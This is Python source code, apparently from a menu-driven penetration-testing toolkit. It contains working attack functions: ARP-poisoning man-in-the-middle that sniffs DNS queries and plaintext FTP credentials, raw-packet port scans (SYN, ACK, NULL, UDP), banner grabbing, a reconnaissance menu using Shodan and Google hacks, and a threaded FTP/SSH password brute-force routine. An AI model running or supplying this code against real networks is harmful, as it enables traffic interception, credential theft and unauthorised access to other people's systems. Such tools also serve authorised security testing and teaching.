def mitm_attack(network_iface, target_ip, gateway_ip, ports=None): global h_mac, t_ip, g_ip, t_mac, g_mac, continue_poison, domain_list, poison_thread, plain_ports h_mac = get_if_hwaddr(network_iface) t_ip = target_ip g_ip = gateway_ip g_mac = "not-valid" domain_list = {} continue_poison = True plain_ports = ports signal.signal(signal.SIGINT, _keyboard_interrupt_handler) menu_utils.header('Navigation eavesdropping attack, target IP: %s ' % target_ip) menu_utils.mixed_info("Network interface: ", network_iface) menu_utils.mixed_info("Gateway IP: ", gateway_ip) menu_utils.header("Stage 1: Poisoning ARP") t_mac = _get_mac(network_iface, t_ip, 10) if t_mac is None: menu_utils.warning("Unable to get target MAC address") return None else: menu_utils.mixed_info("Target MAC address: ", t_mac) g_mac = _get_mac(network_iface, g_ip, 10) if g_mac is None: menu_utils.warning("Unable to get gateway MAC address") return None else: menu_utils.mixed_info("Gateway MAC address: ", g_mac) menu_utils.highlighted_info("Enabling IP forwarding") # Enable IP Forwarding on a mac os.system("sysctl -w net.inet.ip.forwarding=1") # ARP poison thread poison_thread = threading.Thread(target=_arp_poison, args=(g_ip, g_mac, t_ip, t_mac)) poison_thread.start() if not ports: # Sniff DNS traffic bpf_dns_filter = f"udp port 53 and ip src {target_ip}" menu_utils.header("Stage 2: Eavesdropping target DNS traffic") sniff(iface=network_iface, filter=bpf_dns_filter, prn=_target_dns_sniffer, stop_filter=_stop_dns_sniffer, store=0) else: # Sniff passwords bpf_ftp_filter = f"tcp port {plain_ports[0]} and (ip src {target_ip} or ip dst {target_ip})" menu_utils.header("Stage 2: Eavesdropping FTP plain passwords") sniff(iface=network_iface, filter=bpf_ftp_filter, prn=_target_passwd_sniffer, stop_filter=_stop_passwd_sniffer, store=0) signal.signal(signal.SIGINT, _main_keyboard_interrupt_handler)
def _target_passwd_sniffer(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): if pkt[TCP].dport == plain_ports[0] or pkt[TCP].sport == plain_ports[0]: data = str(pkt[Raw]) if 'USER' in data and '530' not in data: ftp_user = data.split('USER')[1][:-5] # [:-5] to remove \r\n' from the user print("%s -> %s: FTP user: %s" % (pkt[IP].src, pkt[IP].dst, ftp_user)) elif 'PASS' in data and '530' not in data: ftp_pass = data.split('PASS')[1][:-5] # [:-5] to remove \r\n' from the password print("%s -> %s: FTP pass: %s" % (pkt[IP].src, pkt[IP].dst, ftp_pass)) elif '230 Login successful' in data: menu_utils.super_highlighted_info("%s -> %s: FTP login successful" % (pkt[IP].src, pkt[IP].dst)) elif '530 Login incorrect' in data: menu_utils.warning("%s -> %s: FTP login incorrect" % (pkt[IP].src, pkt[IP].dst))
def scan(ip, ports): nm = nmap.PortScanner() nm.scan(ip, ports) if nm.all_hosts(): menu_utils.header("NMAP SCAN, IP: %s " % ip) menu_utils.mixed_info("Scan info: ", nm.scaninfo()) menu_utils.mixed_info("Command line: ", nm.command_line()) menu_utils.mixed_info("All hosts: ", nm.all_hosts()) menu_utils.highlighted_info("CSV file: ") menu_utils.conditional_highlighting(nm.csv(), "open", "closed") menu_utils.mixed_info("Location: ", dir(nm)) else: menu_utils.warning("\nNO HOST FOUND IN IP %s" % ip)
def _ack_scan(ip, port): """ This method performs ACK scans """ menu_utils.mixed_info("\nACK scan: Analysing port: ", str(port)) response = sr1(IP(dst=ip) / TCP(dport=int(port), flags="A"), timeout=config_params.SCAPY_TIMEOUT) # Sending flag ACK print("Response type: " + str(type(response))) if str(type(response)) == "<class 'NoneType'>": menu_utils.warning("[-] Firewall found") return "FILTERED" elif response.haslayer(TCP): if response.getlayer( TCP).flags == 0x4: # Receiving flag RST (00000100b) menu_utils.highlighted_info("[+] Firewall not found") return "UNFILTERED" elif response.haslayer(ICMP): # Receiving ICMP error if (response.getlayer(ICMP).type == 3) & (int( response.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]): menu_utils.warning("[-] Firewall found") return "FILTERED" else: return "UNKNOWN"
def _null_scan(ip, port): """ This method performs NULL scans """ menu_utils.mixed_info("\nNULL scan: Analysing port: ", str(port)) response = sr1(IP(dst=ip) / TCP(dport=int(port), flags=""), timeout=config_params.SCAPY_TIMEOUT) # Sending no flags print("Response type: " + str(type(response))) if str(type(response)) == "<class 'NoneType'>": # Receiving no answer menu_utils.highlighted_info("[?] Port %s open or filtered" % port) return "OPEN|FILTERED" elif response.haslayer(TCP): if response.getlayer( TCP).flags == 0x14: # Receiving flags ACK + RST (00010100b) menu_utils.warning("[-] Port %s closed" % port) return "CLOSED" elif response.haslayer(ICMP): # Receiving ICMP error if (response.getlayer(ICMP).type == 3) & (int( response.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]): menu_utils.warning("[x] Port %s filtered" % port) return "FILTERED" else: return "UNKNOWN"
def _tcp_scan(ip, port): """ This method performs TCP scans """ menu_utils.mixed_info("\nTCP scan: Analysing port: ", str(port)) response = sr1(IP(dst=ip) / TCP(dport=int(port), flags="S"), timeout=config_params.SCAPY_TIMEOUT) # Sending flag SYN print("Response type: " + str(type(response))) if str(type(response)) == "<class 'NoneType'>": menu_utils.warning("[-] Port %s closed" % port) return "CLOSED" elif response.haslayer(TCP): if response.getlayer( TCP).flags == 0x12: # Receiving flags ACK + SYN (00010010b) menu_utils.super_highlighted_info("[+] Port %s open" % port) return "OPEN" elif response.haslayer(ICMP): if response.getlayer(TCP).flags == 0x14: menu_utils.warning("[-] Port %s closed" % port) # Receiving flags ACK + RST (00010100b) return "CLOSED" else: return "UNKNOWN"
def _banner_scan(ip, port): """ Method to obtain the banner corresponding to the port of the IP """ category = "" banner = "" try: menu_utils.mixed_info("\nBanner grab: Analysing port: ", str(port)) connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((ip, port)) connection.setblocking(False) ready = select.select([connection], [], [], config_params.BANNER_TIMEOUT) if ready[0]: banner = connection.recv(4096) print("Banner: " + str(banner)) f = open(config_params.VULNERABLE_BANNERS, 'r') category = "NON-VULNERABLE" for banner_vulnerable in f: if str(banner_vulnerable).strip() in str(banner).strip(): category = "VULNERABLE" break if category == "VULNERABLE": menu_utils.super_highlighted_info('[+] The banner is vulnerable') else: menu_utils.highlighted_info('[?] The banner seems NOT vulnerable') else: menu_utils.warning('[-] The banner is not available') category = "UNAVAILABLE" except (ConnectionRefusedError, FileNotFoundError, TimeoutError) as e: menu_utils.error(e) category = "UNAVAILABLE" return category, banner
def _udp_scan(ip, port): """ This method performs UDP scans """ menu_utils.mixed_info("\nUDP scan: Analysing port: ", str(port)) response = sr1(IP(dst=ip) / UDP(dport=int(port)), timeout=config_params.SCAPY_TIMEOUT) print("Response type: " + str(type(response))) if str(type(response)) == "<class 'NoneType'>": menu_utils.highlighted_info("[?] Port %s open or filtered" % port) return "OPEN|FILTERED" elif response.haslayer(UDP): menu_utils.super_highlighted_info("[+] Port % open" % port) return "OPEN" elif response.haslayer(ICMP): if (int(response.getlayer(ICMP).type) == 3) & (int(response.getlayer(ICMP).code == 3)): menu_utils.warning("[-] Port %s closed" % port) return "CLOSED" elif (int(response.getlayer(ICMP).type) == 3) & (int( response.getlayer(ICMP).code) in [1, 2, 9, 10, 13]): menu_utils.warning("[x] Port %s filtered" % port) return "FILTERED" else: return "UNKNOWN"
def menu(): while 1: """ INFO COLLECTION MENU """ option = menu_utils.nice_menu( 'Select hacking tool', ['DNS', 'Whois', 'GeoIP', 'Google', 'Shodan', 'Metadata']) if (option < 1) | (option > 6): return elif option == 1: """ DNS submenu """ while 1: sub_option = menu_utils.nice_menu('Select info retrieval mode', ['Based on domain']) if sub_option == 1: # Domain example: dragonjar.org dns_info.from_domain( menu_utils.highlighted_input('domain')) else: break elif option == 2: """ WHOIS submenu """ while 1: sub_option = menu_utils.nice_menu('Select info retrieval mode', ['Based on domain']) if sub_option == 1: # Domain example: dragonjar.org whois_info.from_domain( menu_utils.highlighted_input('domain')) else: break elif option == 3: """ GEO submenu """ while 1: sub_option = menu_utils.nice_menu( "Select info retrieval mode", ["Based on domain", "Based on IP"]) if sub_option == 1: # Domain example: dragonjar.org geoip_info.from_domain( menu_utils.highlighted_input('domain')) elif sub_option == 2: # IP example: 104.27.161.40 geoip_info.from_ip(menu_utils.highlighted_input('IP')) else: break elif option == 4: """ GOOGLE submenu """ while 1: google_hacks = google_info.load_google_hacks_list() sub_option = menu_utils.nice_menu("Select a Google hack", google_hacks) if (sub_option < 1) | (sub_option > len(google_hacks)): break else: google_info.from_site(menu_utils.highlighted_input('site'), google_hacks[sub_option - 1]) break elif option == 5: """ SHODAN submenu """ while 1: sub_option = menu_utils.nice_menu( "Select info retrieval mode", [ "Based on Facets (global search)", "Based on search string", "Based on IP" ]) if sub_option == 1: # Domain example: nginx search_str = menu_utils.highlighted_input( 'Shodan global search (based on facets)') number_results = menu_utils.highlighted_input( 'number of TOP results') facets_available = shodan_info.load_facets() facets_list = list(facets_available.keys()) facets_list.insert(0, 'Your own search') facets_list.append('All') sub_sub_option = menu_utils.nice_menu( "Select info (facet) to be retrieved", facets_list) if (sub_sub_option < 1) | (sub_sub_option > len(facets_list)): break elif sub_sub_option == 1: user_facet = menu_utils.highlighted_input( 'Shodan Facet') facets = [(user_facet, number_results)] elif (sub_sub_option > 1) & (sub_sub_option <= len(facets_list) - 1): facets = [(facets_list[sub_sub_option - 1], number_results)] else: # sub_sub_option == len(facets_list) facets = [] for i in range(1, len(facets_list)): facets.append((facets_list[i], number_results)) shodan_info.from_facets(search_str, facets) elif sub_option == 2: # Domain example: apache searches_available = shodan_info.load_searches() if not searches_available: menu_utils.warning( "The file with search suggestions is empty") searches_available = {} searches_list = list(searches_available.values()) searches_list.insert(0, 'Your own search') searches_list.append('Remove element from list') sub_sub_option = menu_utils.nice_menu( "Type of search", searches_list) if (sub_sub_option < 1) | (sub_sub_option > len(searches_list)): break elif sub_sub_option == len(searches_list): to_be_removed = int( menu_utils.highlighted_input( 'element from the list to be removed')) if (to_be_removed > 1) & (to_be_removed < len(searches_list)): del searches_available[list( searches_available.keys())[to_be_removed - 2]] shodan_info.update_searches(searches_available) continue elif sub_sub_option == 1: search_str = menu_utils.highlighted_input( 'Shodan search (e.g. based on city, country, geo, ' 'hostname, net, os, port)') shodan_info.from_search(search_str) to_be_saved = menu_utils.highlighted_input( 'search in the menu: (Y/n)') if (to_be_saved.lower() == 'y') | (to_be_saved.lower() == 'yes'): description_str = menu_utils.highlighted_input( 'short description') searches_available[search_str] = description_str shodan_info.update_searches(searches_available) elif sub_sub_option > 1: search_str = list(searches_available)[sub_sub_option - 2] shodan_info.from_search(search_str) elif sub_option == 3: # IP example: 104.27.161.40 shodan_info.from_ip(menu_utils.highlighted_input('IP')) else: break elif option == 6: """ METADATA submenu """ while 1: sub_option = menu_utils.nice_menu( "Select metadata retrieval mode", ["From image", "From PDF"]) if sub_option == 1: # From image file metadata_info.from_image( menu_utils.highlighted_input('image file name')) elif sub_option == 2: # From PDF file metadata_info.from_pdf( menu_utils.highlighted_input('PDF file name')) else: break
def dictionary_attack(protocol, ip, port, interval, user, dictionary): if (protocol.lower() != 'ftp') & (protocol.lower() != 'ssh'): menu_utils.warning('Only "FTP" or "SSH" protocols are supported') return menu_utils.header('Brute force attack, target IP: %s ' % ip) menu_utils.mixed_info("Protocol:", protocol) menu_utils.mixed_info("Interval between attempts:", "%s milliseconds" % interval) menu_utils.mixed_info("User:"******"Dictionary:", dictionary) counter = 0 thread_list = [] passwords = file_utils.load_file_as_list(dictionary) print("%s passwords in the dictionary" % len(passwords)) menu_utils.highlighted_info("Progress:\n") my_queue = queue.Queue() if passwords: for passw in passwords: time.sleep(interval / 1000) counter += 1 additional_info = "Trying pass: %s" % passw menu_utils.progress_bar( int(100 * counter / len(passwords)), config_params.DISPLAY["progress_bar_width"], additional_info) if protocol.lower() == 'ftp': t = threading.Thread(target=_ftp_connection_attempt, args=( ip, port, user, passw, my_queue, )) elif protocol.lower() == 'ssh': t = threading.Thread(target=_ssh_connection_attempt, args=( ip, port, user, passw, my_queue, )) t.start() thread_list.append(t) if counter % config_params.MAX_NUMBER_THREADS == 0: for thread in thread_list: thread.join() # closing threads thread_list = [] if not my_queue.empty(): # the pass is stored in the queue break for thread in thread_list: thread.join() # closing threads if not my_queue.empty(): # the pass is stored in the queue menu_utils.super_highlighted_info("\n[+] Password found: %s" % my_queue.get()) else: menu_utils.warning("\n[-] Password not found in %s " % dictionary) else: menu_utils.warning("\n[-] %s dictionary not found " % dictionary)